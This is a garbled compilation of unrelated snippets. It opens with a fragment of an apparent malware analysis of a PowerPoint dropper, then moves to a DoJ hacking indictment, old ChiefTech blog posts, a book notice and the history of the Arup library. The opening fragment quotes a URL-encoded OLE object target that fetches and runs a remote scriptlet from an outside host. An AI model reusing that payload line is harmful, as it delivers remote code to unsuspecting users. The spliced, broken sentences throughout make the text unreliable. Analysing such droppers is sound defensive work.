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Using Microsoft Powerpoint as Malware Dropper

Security Affairs

An external OLEobject (compatibility 2006) was available on that value: Target=”%73%63%72%49%50%54:%68%74%74%70%73%3A%2F%2F%61%2E%64oko%2Emo%65%2Fwr%61%65o%70%2E%73%63%74″ . I am a computer security scientist with an intensive hacking background. Stage 1: Microsoft PowerPoint Dropping Website.

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US DoJ indicts Chinese hackers over state-sponsored cyber espionage

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aka Baobeilong, aka Zhang Jianguo, aka Atreexp, both nationals of the People’s Republic of China (China), with conspiracy to commit computer intrusions, conspiracy to commit wire fraud, and aggravated identity theft was announced today. , aka Afwar, aka CVNX, aka Alayos, aka Godkiller; and Zhang Shilong (???),

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This is the old ChiefTech blog.: The Circle of Computing Life

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Sunday, 1 July 2007 The Circle of Computing Life I came across a great book a few weekends ago, called A Computer Called LEO , that tells the story of the first computer to be used by business. The first LEO or ""Lyons Electronic Office" consisted of: " 5,936 valves, plus another 300-400 in auxiliary equipment.

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New book explores the social, institutional and user impacts of e-legal deposit

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Facet Publishing announce the publication of Electronic Legal Deposit: Shaping the Library Collections of the Future edited by Paul Gooding and Melissa Terras. Regulations governing electronic legal deposit often also prescribe how these materials can be accessed.

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This is the old ChiefTech blog.: Explosion of electronic touch points

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Wednesday, 31 January 2007 Explosion of electronic touch points I received an email today from someone and, as you typically find in a business email, the senders signature block included their contact details. blog I work at Headshift , a social media and social computing consultancy, as a Senior Business & Technical Consultant.

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Arup Library: 60 years

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In a letter between two former Arup staff members dated 2006, an architect who visited No.8 Arup Library in the Electronic Age. This followed the successful transfer of Arup job records to a DEC10 Mainframe computer in 1978, which greatly sped up the data handling managed by the library. 1 May 2006. Arup Library Today.

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This is the old ChiefTech blog.: Why we need knowledge management.

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Owing to a fault in the electronic information system, many drivers are sent through the Hampshire hamlet only to find the lane narrows to 6ft and they get stuck." blog I work at Headshift , a social media and social computing consultancy, as a Senior Business & Technical Consultant.